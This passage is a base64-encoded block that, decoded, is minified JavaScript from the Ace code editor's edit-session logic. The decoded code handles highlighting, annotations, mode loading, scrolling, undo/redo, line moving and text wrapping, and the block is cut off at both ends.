mtlciIpfSx0aGlzLmdldE1hcmtlcnM9ZnVuY3Rpb24oZSl7cmV0dXJuIGU/dGhpcy4kZnJvbnRNYXJrZXJzOnRoaXMuJGJhY2tNYXJrZXJzfSx0aGlzLmhpZ2hsaWdodD1mdW5jdGlvbihlKXtpZighdGhpcy4kc2VhcmNoSGlnaGxpZ2h0KXt2YXIgdD1uZXcgcChudWxsLCJhY2Vfc2VsZWN0ZWQtd29yZCIsInRleHQiKTt0aGlzLiRzZWFyY2hIaWdobGlnaHQ9dGhpcy5hZGREeW5hbWljTWFya2VyKHQpfXRoaXMuJHNlYXJjaEhpZ2hsaWdodC5zZXRSZWdleHAoZSl9LHRoaXMuaGlnaGxpZ2h0TGluZXM9ZnVuY3Rpb24oZSx0LG4scil7dHlwZW9mIHQhPSJudW1iZXIiJiYobj10LHQ9ZSksbnx8KG49ImFjZV9zdGVwIik7dmFyIGk9bmV3IGwoZSwwLHQsSW5maW5pdHkpO3JldHVybiBpLmlkPXRoaXMuYWRkTWFya2VyKGksbiwiZnVsbExpbmUiLHIpLGl9LHRoaXMuc2V0QW5ub3RhdGlvbnM9ZnVuY3Rpb24oZSl7dGhpcy4kYW5ub3RhdGlvbnM9ZSx0aGlzLl9zaWduYWwoImNoYW5nZUFubm90YXRpb24iLHt9KX0sdGhpcy5nZXRBbm5vdGF0aW9ucz1mdW5jdGlvbigpe3JldHVybiB0aGlzLiRhbm5vdGF0aW9uc3x8W119LHRoaXMuY2xlYXJBbm5vdGF0aW9ucz1mdW5jdGlvbigpe3RoaXMuc2V0QW5ub3RhdGlvbnMoW10pfSx0aGlzLiRkZXRlY3ROZXdMaW5lPWZ1bmN0aW9uKGUpe3ZhciB0PWUubWF0Y2goL14uKj8oXHI/XG4pL20pO3Q/dGhpcy4kYXV0b05ld0xpbmU9dFsxXTp0aGlzLiRhdXRvTmV3TGluZT0iXG4ifSx0aGlzLmdldFdvcmRSYW5nZT1mdW5jdGlvbihlLHQpe3ZhciBuPXRoaXMuZ2V0TGluZShlKSxyPSExO3Q+MCYmKHI9ISFuLmNoYXJBdCh0LTEpLm1hdGNoKHRoaXMudG9rZW5SZSkpLHJ8fChyPSEhbi5jaGFyQXQodCkubWF0Y2godGhpcy50b2tlblJlKSk7aWYocil2YXIgaT10aGlzLnRva2VuUmU7ZWxzZSBpZigvXlxzKyQvLnRlc3Qobi5zbGljZSh0LTEsdCsxKSkpdmFyIGk9L1xzLztlbHNlIHZhciBpPXRoaXMubm9uVG9rZW5SZTt2YXIgcz10O2lmKHM+MCl7ZG8gcy0tO3doaWxlKHM+PTAmJm4uY2hhckF0KHMpLm1hdGNoKGkpKTtzKyt9dmFyIG89dDt3aGlsZShvPG4ubGVuZ3RoJiZuLmNoYXJBdChvKS5tYXRjaChpKSlvKys7cmV0dXJuIG5ldyBsKGUscyxlLG8pfSx0aGlzLmdldEFXb3JkUmFuZ2U9ZnVuY3Rpb24oZSx0KXt2YXIgbj10aGlzLmdldFdvcmRSYW5nZShlLHQpLHI9dGhpcy5nZXRMaW5lKG4uZW5kLnJvdyk7d2hpbGUoci5jaGFyQXQobi5lbmQuY29sdW1uKS5tYXRjaCgvWyBcdF0vKSluLmVuZC5jb2x1bW4rPTE7cmV0dXJuIG59LHRoaXMuc2V0TmV3TGluZU1vZGU9ZnVuY3Rpb24oZSl7dGhpcy5kb2Muc2V0TmV3TGluZU1vZGUoZSl9LHRoaXMuZ2V0TmV3TGluZU1vZGU9ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5kb2MuZ2V0TmV3TGluZU1vZGUoKX0sdGhpcy5zZXRVc2VXb3JrZXI9ZnVuY3Rpb24oZSl7dGhpcy5zZXRPcHRpb24oInVzZVdvcmtlciIsZSl9LHRoaXMuZ2V0VXNlV29ya2VyPWZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuJHVzZVdvcmtlcn0sdGhpcy5vblJlbG9hZFRva2VuaXplcj1mdW5jdGlvbihlKXt2YXIgdD1lLmRhdGE7dGhpcy5iZ1Rva2VuaXplci5zdGFydCh0LmZpcnN0KSx0aGlzLl9zaWduYWwoInRva2VuaXplclVwZGF0ZSIsZSl9LHRoaXMuJG1vZGVzPW8uJG1vZGVzLHRoaXMuJG1vZGU9bnVsbCx0aGlzLiRtb2RlSWQ9bnVsbCx0aGlzLnNldE1vZGU9ZnVuY3Rpb24oZSx0KXtpZihlJiZ0eXBlb2YgZT09Im9iamVjdCIpe2lmKGUuZ2V0VG9rZW5pemVyKXJldHVybiB0aGlzLiRvbkNoYW5nZU1vZGUoZSk7dmFyIG49ZSxyPW4ucGF0aH1lbHNlIHI9ZXx8ImFjZS9tb2RlL3RleHQiO3RoaXMuJG1vZGVzWyJhY2UvbW9kZS90ZXh0Il18fCh0aGlzLiRtb2Rlc1siYWNlL21vZGUvdGV4dCJdPW5ldyBmKTtpZih0aGlzLiRtb2Rlc1tyXSYmIW4pe3RoaXMuJG9uQ2hhbmdlTW9kZSh0aGlzLiRtb2Rlc1tyXSksdCYmdCgpO3JldHVybn10aGlzLiRtb2RlSWQ9cixvLmxvYWRNb2R1bGUoWyJtb2RlIixyXSxmdW5jdGlvbihlKXtpZih0aGlzLiRtb2RlSWQhPT1yKXJldHVybiB0JiZ0KCk7dGhpcy4kbW9kZXNbcl0mJiFuP3RoaXMuJG9uQ2hhbmdlTW9kZSh0aGlzLiRtb2Rlc1tyXSk6ZSYmZS5Nb2RlJiYoZT1uZXcgZS5Nb2RlKG4pLG58fCh0aGlzLiRtb2Rlc1tyXT1lLGUuJGlkPXIpLHRoaXMuJG9uQ2hhbmdlTW9kZShlKSksdCYmdCgpfS5iaW5kKHRoaXMpKSx0aGlzLiRtb2RlfHx0aGlzLiRvbkNoYW5nZU1vZGUodGhpcy4kbW9kZXNbImFjZS9tb2RlL3RleHQiXSwhMCl9LHRoaXMuJG9uQ2hhbmdlTW9kZT1mdW5jdGlvbihlLHQpe3R8fCh0aGlzLiRtb2RlSWQ9ZS4kaWQpO2lmKHRoaXMuJG1vZGU9PT1lKXJldHVybjt2YXIgbj10aGlzLiRtb2RlO3RoaXMuJG1vZGU9ZSx0aGlzLiRzdG9wV29ya2VyKCksdGhpcy4kdXNlV29ya2VyJiZ0aGlzLiRzdGFydFdvcmtlcigpO3ZhciByPWUuZ2V0VG9rZW5pemVyKCk7aWYoci5vbiE9PXVuZGVmaW5lZCl7dmFyIGk9dGhpcy5vblJlbG9hZFRva2VuaXplci5iaW5kKHRoaXMpO3Iub24oInVwZGF0ZSIsaSl9dGhpcy5iZ1Rva2VuaXplci5zZXRUb2tlbml6ZXIociksdGhpcy5iZ1Rva2VuaXplci5zZXREb2N1bWVudCh0aGlzLmdldERvY3VtZW50KCkpLHRoaXMudG9rZW5SZT1lLnRva2VuUmUsdGhpcy5ub25Ub2tlblJlPWUubm9uVG9rZW5SZSx0fHwoZS5hdHRhY2hUb1Nlc3Npb24mJmUuYXR0YWNoVG9TZXNzaW9uKHRoaXMpLHRoaXMuJG9wdGlvbnMud3JhcE1ldGhvZC5zZXQuY2FsbCh0aGlzLHRoaXMuJHdyYXBNZXRob2QpLHRoaXMuJHNldEZvbGRpbmcoZS5mb2xkaW5nUnVsZXMpLHRoaXMuYmdUb2tlbml6ZXIuc3RhcnQoMCksdGhpcy5fZW1pdCgiY2hhbmdlTW9kZSIse29sZE1vZGU6bixtb2RlOmV9KSl9LHRoaXMuJHN0b3BXb3JrZXI9ZnVuY3Rpb24oKXt0aGlzLiR3b3JrZXImJih0aGlzLiR3b3JrZXIudGVybWluYXRlKCksdGhpcy4kd29ya2VyPW51bGwpfSx0aGlzLiRzdGFydFdvcmtlcj1mdW5jdGlvbigpe3RyeXt0aGlzLiR3b3JrZXI9dGhpcy4kbW9kZS5jcmVhdGVXb3JrZXIodGhpcyl9Y2F0Y2goZSl7by53YXJuKCJDb3VsZCBub3QgbG9hZCB3b3JrZXIiLGUpLHRoaXMuJHdvcmtlcj1udWxsfX0sdGhpcy5nZXRNb2RlPWZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuJG1vZGV9LHRoaXMuJHNjcm9sbFRvcD0wLHRoaXMuc2V0U2Nyb2xsVG9wPWZ1bmN0aW9uKGUpe2lmKHRoaXMuJHNjcm9sbFRvcD09PWV8fGlzTmFOKGUpKXJldHVybjt0aGlzLiRzY3JvbGxUb3A9ZSx0aGlzLl9zaWduYWwoImNoYW5nZVNjcm9sbFRvcCIsZSl9LHRoaXMuZ2V0U2Nyb2xsVG9wPWZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuJHNjcm9sbFRvcH0sdGhpcy4kc2Nyb2xsTGVmdD0wLHRoaXMuc2V0U2Nyb2xsTGVmdD1mdW5jdGlvbihlKXtpZih0aGlzLiRzY3JvbGxMZWZ0PT09ZXx8aXNOYU4oZSkpcmV0dXJuO3RoaXMuJHNjcm9sbExlZnQ9ZSx0aGlzLl9zaWduYWwoImNoYW5nZVNjcm9sbExlZnQiLGUpfSx0aGlzLmdldFNjcm9sbExlZnQ9ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy4kc2Nyb2xsTGVmdH0sdGhpcy5nZXRTY3JlZW5XaWR0aD1mdW5jdGlvbigpe3JldHVybiB0aGlzLiRjb21wdXRlV2lkdGgoKSx0aGlzLmxpbmVXaWRnZXRzP01hdGgubWF4KHRoaXMuZ2V0TGluZVdpZGdldE1heFdpZHRoKCksdGhpcy5zY3JlZW5XaWR0aCk6dGhpcy5zY3JlZW5XaWR0aH0sdGhpcy5nZXRMaW5lV2lkZ2V0TWF4V2lkdGg9ZnVuY3Rpb24oKXtpZih0aGlzLmxpbmVXaWRnZXRzV2lkdGghPW51bGwpcmV0dXJuIHRoaXMubGluZVdpZGdldHNXaWR0aDt2YXIgZT0wO3JldHVybiB0aGlzLmxpbmVXaWRnZXRzLmZvckVhY2goZnVuY3Rpb24odCl7dCYmdC5zY3JlZW5XaWR0aD5lJiYoZT10LnNjcmVlbldpZHRoKX0pLHRoaXMubGluZVdpZGdldFdpZHRoPWV9LHRoaXMuJGNvbXB1dGVXaWR0aD1mdW5jdGlvbihlKXtpZih0aGlzLiRtb2RpZmllZHx8ZSl7dGhpcy4kbW9kaWZpZWQ9ITE7aWYodGhpcy4kdXNlV3JhcE1vZGUpcmV0dXJuIHRoaXMuc2NyZWVuV2lkdGg9dGhpcy4kd3JhcExpbWl0O3ZhciB0PXRoaXMuZG9jLmdldEFsbExpbmVzKCksbj10aGlzLiRyb3dMZW5ndGhDYWNoZSxyPTAsaT0wLHM9dGhpcy4kZm9sZERhdGFbaV0sbz1zP3Muc3RhcnQucm93OkluZmluaXR5LHU9dC5sZW5ndGg7Zm9yKHZhciBhPTA7YTx1O2ErKyl7aWYoYT5vKXthPXMuZW5kLnJvdysxO2lmKGE+PXUpYnJlYWs7cz10aGlzLiRmb2xkRGF0YVtpKytdLG89cz9zLnN0YXJ0LnJvdzpJbmZpbml0eX1uW2FdPT1udWxsJiYoblthXT10aGlzLiRnZXRTdHJpbmdTY3JlZW5XaWR0aCh0W2FdKVswXSksblthXT5yJiYocj1uW2FdKX10aGlzLnNjcmVlbldpZHRoPXJ9fSx0aGlzLmdldExpbmU9ZnVuY3Rpb24oZSl7cmV0dXJuIHRoaXMuZG9jLmdldExpbmUoZSl9LHRoaXMuZ2V0TGluZXM9ZnVuY3Rpb24oZSx0KXtyZXR1cm4gdGhpcy5kb2MuZ2V0TGluZXMoZSx0KX0sdGhpcy5nZXRMZW5ndGg9ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5kb2MuZ2V0TGVuZ3RoKCl9LHRoaXMuZ2V0VGV4dFJhbmdlPWZ1bmN0aW9uKGUpe3JldHVybiB0aGlzLmRvYy5nZXRUZXh0UmFuZ2UoZXx8dGhpcy5zZWxlY3Rpb24uZ2V0UmFuZ2UoKSl9LHRoaXMuaW5zZXJ0PWZ1bmN0aW9uKGUsdCl7cmV0dXJuIHRoaXMuZG9jLmluc2VydChlLHQpfSx0aGlzLnJlbW92ZT1mdW5jdGlvbihlKXtyZXR1cm4gdGhpcy5kb2MucmVtb3ZlKGUpfSx0aGlzLnJlbW92ZUZ1bGxMaW5lcz1mdW5jdGlvbihlLHQpe3JldHVybiB0aGlzLmRvYy5yZW1vdmVGdWxsTGluZXMoZSx0KX0sdGhpcy51bmRvQ2hhbmdlcz1mdW5jdGlvbihlLHQpe2lmKCFlLmxlbmd0aClyZXR1cm47dGhpcy4kZnJvbVVuZG89ITA7Zm9yKHZhciBuPWUubGVuZ3RoLTE7biE9LTE7bi0tKXt2YXIgcj1lW25dO3IuYWN0aW9uPT0iaW5zZXJ0Inx8ci5hY3Rpb249PSJyZW1vdmUiP3RoaXMuZG9jLnJldmVydERlbHRhKHIpOnIuZm9sZHMmJnRoaXMuYWRkRm9sZHMoci5mb2xkcyl9IXQmJnRoaXMuJHVuZG9TZWxlY3QmJihlLnNlbGVjdGlvbkJlZm9yZT90aGlzLnNlbGVjdGlvbi5mcm9tSlNPTihlLnNlbGVjdGlvbkJlZm9yZSk6dGhpcy5zZWxlY3Rpb24uc2V0UmFuZ2UodGhpcy4kZ2V0VW5kb1NlbGVjdGlvbihlLCEwKSkpLHRoaXMuJGZyb21VbmRvPSExfSx0aGlzLnJlZG9DaGFuZ2VzPWZ1bmN0aW9uKGUsdCl7aWYoIWUubGVuZ3RoKXJldHVybjt0aGlzLiRmcm9tVW5kbz0hMDtmb3IodmFyIG49MDtuPGUubGVuZ3RoO24rKyl7dmFyIHI9ZVtuXTsoci5hY3Rpb249PSJpbnNlcnQifHxyLmFjdGlvbj09InJlbW92ZSIpJiZ0aGlzLmRvYy4kc2FmZUFwcGx5RGVsdGEocil9IXQmJnRoaXMuJHVuZG9TZWxlY3QmJihlLnNlbGVjdGlvbkFmdGVyP3RoaXMuc2VsZWN0aW9uLmZyb21KU09OKGUuc2VsZWN0aW9uQWZ0ZXIpOnRoaXMuc2VsZWN0aW9uLnNldFJhbmdlKHRoaXMuJGdldFVuZG9TZWxlY3Rpb24oZSwhMSkpKSx0aGlzLiRmcm9tVW5kbz0hMX0sdGhpcy5zZXRVbmRvU2VsZWN0PWZ1bmN0aW9uKGUpe3RoaXMuJHVuZG9TZWxlY3Q9ZX0sdGhpcy4kZ2V0VW5kb1NlbGVjdGlvbj1mdW5jdGlvbihlLHQpe2Z1bmN0aW9uIG4oZSl7cmV0dXJuIHQ/ZS5hY3Rpb24hPT0iaW5zZXJ0IjplLmFjdGlvbj09PSJpbnNlcnQifXZhciByLGk7Zm9yKHZhciBzPTA7czxlLmxlbmd0aDtzKyspe3ZhciBvPWVbc107aWYoIW8uc3RhcnQpY29udGludWU7aWYoIXIpe24obyk/cj1sLmZyb21Qb2ludHMoby5zdGFydCxvLmVuZCk6cj1sLmZyb21Qb2ludHMoby5zdGFydCxvLnN0YXJ0KTtjb250aW51ZX1uKG8pPyhpPW8uc3RhcnQsci5jb21wYXJlKGkucm93LGkuY29sdW1uKT09LTEmJnIuc2V0U3RhcnQoaSksaT1vLmVuZCxyLmNvbXBhcmUoaS5yb3csaS5jb2x1bW4pPT0xJiZyLnNldEVuZChpKSk6KGk9by5zdGFydCxyLmNvbXBhcmUoaS5yb3csaS5jb2x1bW4pPT0tMSYmKHI9bC5mcm9tUG9pbnRzKG8uc3RhcnQsby5zdGFydCkpKX1yZXR1cm4gcn0sdGhpcy5yZXBsYWNlPWZ1bmN0aW9uKGUsdCl7cmV0dXJuIHRoaXMuZG9jLnJlcGxhY2UoZSx0KX0sdGhpcy5tb3ZlVGV4dD1mdW5jdGlvbihlLHQsbil7dmFyIHI9dGhpcy5nZXRUZXh0UmFuZ2UoZSksaT10aGlzLmdldEZvbGRzSW5SYW5nZShlKSxzPWwuZnJvbVBvaW50cyh0LHQpO2lmKCFuKXt0aGlzLnJlbW92ZShlKTt2YXIgbz1lLnN0YXJ0LnJvdy1lLmVuZC5yb3csdT1vPy1lLmVuZC5jb2x1bW46ZS5zdGFydC5jb2x1bW4tZS5lbmQuY29sdW1uO3UmJihzLnN0YXJ0LnJvdz09ZS5lbmQucm93JiZzLnN0YXJ0LmNvbHVtbj5lLmVuZC5jb2x1bW4mJihzLnN0YXJ0LmNvbHVtbis9dSkscy5lbmQucm93PT1lLmVuZC5yb3cmJnMuZW5kLmNvbHVtbj5lLmVuZC5jb2x1bW4mJihzLmVuZC5jb2x1bW4rPXUpKSxvJiZzLnN0YXJ0LnJvdz49ZS5lbmQucm93JiYocy5zdGFydC5yb3crPW8scy5lbmQucm93Kz1vKX1zLmVuZD10aGlzLmluc2VydChzLnN0YXJ0LHIpO2lmKGkubGVuZ3RoKXt2YXIgYT1lLnN0YXJ0LGY9cy5zdGFydCxvPWYucm93LWEucm93LHU9Zi5jb2x1bW4tYS5jb2x1bW47dGhpcy5hZGRGb2xkcyhpLm1hcChmdW5jdGlvbihlKXtyZXR1cm4gZT1lLmNsb25lKCksZS5zdGFydC5yb3c9PWEucm93JiYoZS5zdGFydC5jb2x1bW4rPXUpLGUuZW5kLnJvdz09YS5yb3cmJihlLmVuZC5jb2x1bW4rPXUpLGUuc3RhcnQucm93Kz1vLGUuZW5kLnJvdys9byxlfSkpfXJldHVybiBzfSx0aGlzLmluZGVudFJvd3M9ZnVuY3Rpb24oZSx0LG4pe249bi5yZXBsYWNlKC9cdC9nLHRoaXMuZ2V0VGFiU3RyaW5nKCkpO2Zvcih2YXIgcj1lO3I8PXQ7cisrKXRoaXMuZG9jLmluc2VydEluTGluZSh7cm93OnIsY29sdW1uOjB9LG4pfSx0aGlzLm91dGRlbnRSb3dzPWZ1bmN0aW9uKGUpe3ZhciB0PWUuY29sbGFwc2VSb3dzKCksbj1uZXcgbCgwLDAsMCwwKSxyPXRoaXMuZ2V0VGFiU2l6ZSgpO2Zvcih2YXIgaT10LnN0YXJ0LnJvdztpPD10LmVuZC5yb3c7KytpKXt2YXIgcz10aGlzLmdldExpbmUoaSk7bi5zdGFydC5yb3c9aSxuLmVuZC5yb3c9aTtmb3IodmFyIG89MDtvPHI7KytvKWlmKHMuY2hhckF0KG8pIT0iICIpYnJlYWs7bzxyJiZzLmNoYXJBdChvKT09IgkiPyhuLnN0YXJ0LmNvbHVtbj1vLG4uZW5kLmNvbHVtbj1vKzEpOihuLnN0YXJ0LmNvbHVtbj0wLG4uZW5kLmNvbHVtbj1vKSx0aGlzLnJlbW92ZShuKX19LHRoaXMuJG1vdmVMaW5lcz1mdW5jdGlvbihlLHQsbil7ZT10aGlzLmdldFJvd0ZvbGRTdGFydChlKSx0PXRoaXMuZ2V0Um93Rm9sZEVuZCh0KTtpZihuPDApe3ZhciByPXRoaXMuZ2V0Um93Rm9sZFN0YXJ0KGUrbik7aWYocjwwKXJldHVybiAwO3ZhciBpPXItZX1lbHNlIGlmKG4+MCl7dmFyIHI9dGhpcy5nZXRSb3dGb2xkRW5kKHQrbik7aWYocj50aGlzLmRvYy5nZXRMZW5ndGgoKS0xKXJldHVybiAwO3ZhciBpPXItdH1lbHNle2U9dGhpcy4kY2xpcFJvd1RvRG9jdW1lbnQoZSksdD10aGlzLiRjbGlwUm93VG9Eb2N1bWVudCh0KTt2YXIgaT10LWUrMX12YXIgcz1uZXcgbChlLDAsdCxOdW1iZXIuTUFYX1ZBTFVFKSxvPXRoaXMuZ2V0Rm9sZHNJblJhbmdlKHMpLm1hcChmdW5jdGlvbihlKXtyZXR1cm4gZT1lLmNsb25lKCksZS5zdGFydC5yb3crPWksZS5lbmQucm93Kz1pLGV9KSx1PW49PTA/dGhpcy5kb2MuZ2V0TGluZXMoZSx0KTp0aGlzLmRvYy5yZW1vdmVGdWxsTGluZXMoZSx0KTtyZXR1cm4gdGhpcy5kb2MuaW5zZXJ0RnVsbExpbmVzKGUraSx1KSxvLmxlbmd0aCYmdGhpcy5hZGRGb2xkcyhvKSxpfSx0aGlzLm1vdmVMaW5lc1VwPWZ1bmN0aW9uKGUsdCl7cmV0dXJuIHRoaXMuJG1vdmVMaW5lcyhlLHQsLTEpfSx0aGlzLm1vdmVMaW5lc0Rvd249ZnVuY3Rpb24oZSx0KXtyZXR1cm4gdGhpcy4kbW92ZUxpbmVzKGUsdCwxKX0sdGhpcy5kdXBsaWNhdGVMaW5lcz1mdW5jdGlvbihlLHQpe3JldHVybiB0aGlzLiRtb3ZlTGluZXMoZSx0LDApfSx0aGlzLiRjbGlwUm93VG9Eb2N1bWVudD1mdW5jdGlvbihlKXtyZXR1cm4gTWF0aC5tYXgoMCxNYXRoLm1pbihlLHRoaXMuZG9jLmdldExlbmd0aCgpLTEpKX0sdGhpcy4kY2xpcENvbHVtblRvUm93PWZ1bmN0aW9uKGUsdCl7cmV0dXJuIHQ8MD8wOk1hdGgubWluKHRoaXMuZG9jLmdldExpbmUoZSkubGVuZ3RoLHQpfSx0aGlzLiRjbGlwUG9zaXRpb25Ub0RvY3VtZW50PWZ1bmN0aW9uKGUsdCl7dD1NYXRoLm1heCgwLHQpO2lmKGU8MCllPTAsdD0wO2Vsc2V7dmFyIG49dGhpcy5kb2MuZ2V0TGVuZ3RoKCk7ZT49bj8oZT1uLTEsdD10aGlzLmRvYy5nZXRMaW5lKG4tMSkubGVuZ3RoKTp0PU1hdGgubWluKHRoaXMuZG9jLmdldExpbmUoZSkubGVuZ3RoLHQpfXJldHVybntyb3c6ZSxjb2x1bW46dH19LHRoaXMuJGNsaXBSYW5nZVRvRG9jdW1lbnQ9ZnVuY3Rpb24oZSl7ZS5zdGFydC5yb3c8MD8oZS5zdGFydC5yb3c9MCxlLnN0YXJ0LmNvbHVtbj0wKTplLnN0YXJ0LmNvbHVtbj10aGlzLiRjbGlwQ29sdW1uVG9Sb3coZS5zdGFydC5yb3csZS5zdGFydC5jb2x1bW4pO3ZhciB0PXRoaXMuZG9jLmdldExlbmd0aCgpLTE7cmV0dXJuIGUuZW5kLnJvdz50PyhlLmVuZC5yb3c9dCxlLmVuZC5jb2x1bW49dGhpcy5kb2MuZ2V0TGluZSh0KS5sZW5ndGgpOmUuZW5kLmNvbHVtbj10aGlzLiRjbGlwQ29sdW1uVG9Sb3coZS5lbmQucm93LGUuZW5kLmNvbHVtbiksZX0sdGhpcy4kd3JhcExpbWl0PTgwLHRoaXMuJHVzZVdyYXBNb2RlPSExLHRoaXMuJHdyYXBMaW1pdFJhbmdlPXttaW46bnVsbCxtYXg6bnVsbH0sdGhpcy5zZXRVc2VXcmFwTW9kZT1mdW5jdGlvbihlKXtpZihlIT10aGlzLiR1c2VXcmFwTW9kZSl7dGhpcy4kdXNlV3JhcE1vZGU9ZSx0aGlzLiRtb2RpZmllZD0hMCx0aGlzLiRyZXNldFJvd0NhY2hlKDApO2lmKGUpe3ZhciB0PXRoaXMuZ2V0TGVuZ3RoKCk7dGhpcy4kd3JhcERhdGE9QXJyYXkodCksdGhpcy4kdXBkYXRlV3JhcERhdGEoMCx0LTEpfXRoaXMuX3NpZ25hbCgiY2hhbmdlV3JhcE1vZGUiKX19LHRoaXMuZ2V0VXNlV3JhcE1vZGU9ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy4kdXNlV3JhcE1vZGV9LHRoaXMuc2V0V3JhcExpbWl0UmFuZ2U9ZnVuY3Rpb24oZSx0KXtpZih0aGlzLiR3cmFwTGltaXRSYW5nZS5taW4hPT1lfHx0aGlzLiR3cmFwTGltaXRSYW5nZS5tYXghPT10KXRoaXMuJHdyYXBMaW1pdFJhbmdlPXttaW46ZSxtYXg6dH0sdGhpcy4kbW9kaWZpZWQ9ITAsdGhpcy4kYmlkaUhhbmRsZXIubWFya0FzRGlydHkoKSx0aGlzLiR1c2VXcmFwTW9kZSYmdGhpcy5fc2lnbmFsKCJjaGFuZ2VXcmFwTW9kZSIpfSx0aGlzLmFkanVzdFdyYXBMaW1pdD1mdW5jdGlvbihlLHQpe3ZhciBuPXRoaXMuJHdyYXBMaW1pdFJhbmdlO24ubWF4PDAmJihuPXttaW46dCxtYXg6dH0pO3ZhciByPXRoaXMuJGNvbnN0cmFpbldyYXBMaW1pdChlLG4ubWluLG4ubWF4KTtyZXR1cm4gciE9dGhpcy4kd3JhcExpbWl0JiZyPjE/KHRoaXMuJHdyYXBMaW1pdD1yLHRoaXMuJG1vZGlmaWVkPSEwLHRoaXMuJHVzZVdyYXBNb2RlJiYodGhpcy4kdXBkYXRlV3JhcERhdGEoMCx0aGlzLmdldExlbmd0aCgpLTEpLHRoaXMuJHJlc2V0Um93Q2FjaGUoMCksdGhpcy5fc2lnbmFsKCJjaGFuZ2VXcmFwTGltaXQiKSksITApOiExfSx0aGlzLiRjb25zdHJhaW5XcmFwTGltaXQ9ZnVuY3Rpb24oZSx0LG4pe3JldHVybiB0JiYoZT1NYXRoLm1heCh0LGUpKSxuJiYoZT1NYXRoLm1pbihuLGUpKSxlfSx0aGlzLmdldFdyYXBMaW1pdD1mdW5jdGlvbigpe3JldHVybiB0aGlzLiR3cmFwTGltaXR9LHRoaXMuc2V0V3JhcExpbWl0PWZ1bmN0aW9uKGUpe3RoaXMuc2V0V3JhcExpbWl0UmFuZ2UoZSxlKX0sdGhpcy5nZXRXcmFwTGltaXRSYW5nZT1mdW5jdGlvbigpe3JldHVybnttaW46dGhpcy4kd3JhcExpbWl0UmFuZ2UubWluLG1heDp0aGlzLiR3cmFwTGltaXRSYW5nZS5tYXh9fSx0aGlzLiR1cGRhdGVJbnRlcm5hbERhdGFPbkNoYW5nZT1mdW5jdGlvbihlKXt2YXIgdD10aGlzLiR1c2VXcmFwTW9kZSxuPWUuYWN0aW9uLHI9ZS5zdGFydCxpPWUuZW5kLHM9ci5yb3csbz1pLnJvdyx1PW8tcyxhPW51bGw7dGhpcy4kdXBkYXRpbmc9ITA7aWYodSE9MClpZihuPT09InJlbW92ZSIpe3RoaXNbdD8iJHdyYXBEYXRhIjoiJHJvd0xlbmd0aENhY2hlIl0uc3BsaWNlKHMsdSk7dmFyIGY9dGhpcy4kZm9sZERhdGE7YT10aGlzLmdldEZvbGRzSW5SYW5nZShlKSx0aGlzLnJlbW92ZUZvbGRzKGEpO3ZhciBsPXRoaXMuZ2V0Rm9sZExpbmUoaS5yb3cpLGM9MDtpZihsKXtsLmFkZFJlbW92ZUNoYXJzKGkucm93LGkuY29sdW1uLHIuY29sdW1uLWkuY29sdW1uKSxsLnNoaWZ0Um93KC11KTt2YXIgaD10aGlzLmdldEZvbGRMaW5lKHMpO2gmJmghPT1sJiYoaC5tZXJnZShsKSxsPWgpLGM9Zi5pbmRleE9mKGwpKzF9Zm9yKGM7YzxmLmxlbmd0aDtjKyspe3ZhciBsPWZbY107bC5zdGFydC5yb3c+PWkucm93JiZsLnNoaWZ0Um93KC11KX1vPXN9ZWxzZXt2YXIgcD1BcnJheSh1KTtwLnVuc2hpZnQocywwKTt2YXIgZD10P3RoaXMuJHdyYXBEYXRhOnRoaXMuJHJvd0xlbmd0aENhY2hlO2Quc3BsaWNlLmFwcGx5KGQscCk7dmFyIGY9dGhpcy4kZm9sZERhdGEsbD10aGlzLmdldEZvbGRMaW5lKHMpLGM9MDtpZihsKXt2YXIgdj1sLnJhbmdlLmNvbXBhcmVJbnNpZGUoci5yb3csci5jb2x1bW4pO3Y9PTA/KGw9bC5zcGxpdChyLnJvdyxyLmNvbHVtbiksbCYmKGwuc2hpZnRSb3codSksbC5hZGRSZW1vdmVDaGFycyhvLDAsaS5jb2x1bW4tci5jb2x1bW4pKSk6dj09LTEmJihsLmFkZFJlbW92ZUNoYXJzKHMsMCxpLmNvbHVtbi1yLmNvbHVtbiksbC5zaGlmdFJvdyh1KSksYz1mLmluZGV4T2YobCkrMX1mb3IoYztjPGYubGVuZ3RoO2MrKyl7dmFyIGw9ZltjXTtsLnN0YXJ0LnJvdz49cyYmbC5zaGlmdFJvdyh1KX19ZWxzZXt1PU1hdGguYWJzKGUuc3RhcnQuY29sdW1uLWUuZW5kLmNvbHVtbiksbj09PSJyZW1vdmUiJiYoYT10aGlzLmdldEZvbGRzSW5SYW5nZShlKSx0aGlzLnJlbW92ZUZvbGRzKGEpLHU9LXUpO3ZhciBsPXRoaXMuZ2V0Rm9sZExpbmUocyk7bCYmbC5hZGRSZW1vdmVDaGFycyhzLHIuY29sdW1uLHUpfXJldHVybiB0JiZ0aGlzLiR3cmFwRGF0YS5sZW5ndGghPXRoaXMuZG9jLmdldExlbmd0aCgpJiZjb25zb2xlLmVycm9yKCJkb2MuZ2V0TGVuZ3RoKCkgYW5kICR3cmFwRGF0YS5sZW5ndGggaGF2ZSB0byBiZSB0aGUgc2FtZSEiKSx0aGlzLiR1cGRhdGluZz0hMSx0P3RoaXMuJHVwZGF0ZVdyYXBEYXRhKHMsbyk6dGhpcy4kdXBkYXRlUm93TGVuZ3RoQ2FjaGUocyxvKSxhfSx0aGlzLiR1cGRhdGVSb3dMZW5ndGhDYWNoZT1mdW5jdGlvbihlLHQsbil7dGhpcy4kcm93TGVuZ3RoQ2FjaGVbZV09bnVsbCx0aGlzLiRyb3dMZW5ndGhDYWNoZVt0XT1udWxsfSx0aGlzLiR1cGRhdGVXcmFwRGF0YT1mdW5jdGlvbihlLHQpe3ZhciByPXRoaXMuZG9jLmdldEFsbExpbmVzKCksaT10aGlzLmdldFRhYlNpemUoKSxvPXRoaXMuJHdyYXBEYXRhLHU9dGhpcy4kd3JhcExpbWl0LGEsZixsPWU7dD1NYXRoLm1pbih0LHIubGVuZ3RoLTEpO3doaWxlKGw8PXQpZj10aGlzLmdldEZvbGRMaW5lKGwsZiksZj8oYT1bXSxmLndhbGsoZnVuY3Rpb24oZSx0LGksbyl7dmFyIHU7aWYoZSE9bnVsbCl7dT10aGlzLiRnZXREaXNwbGF5VG9rZW5zKGUsYS5sZW5ndG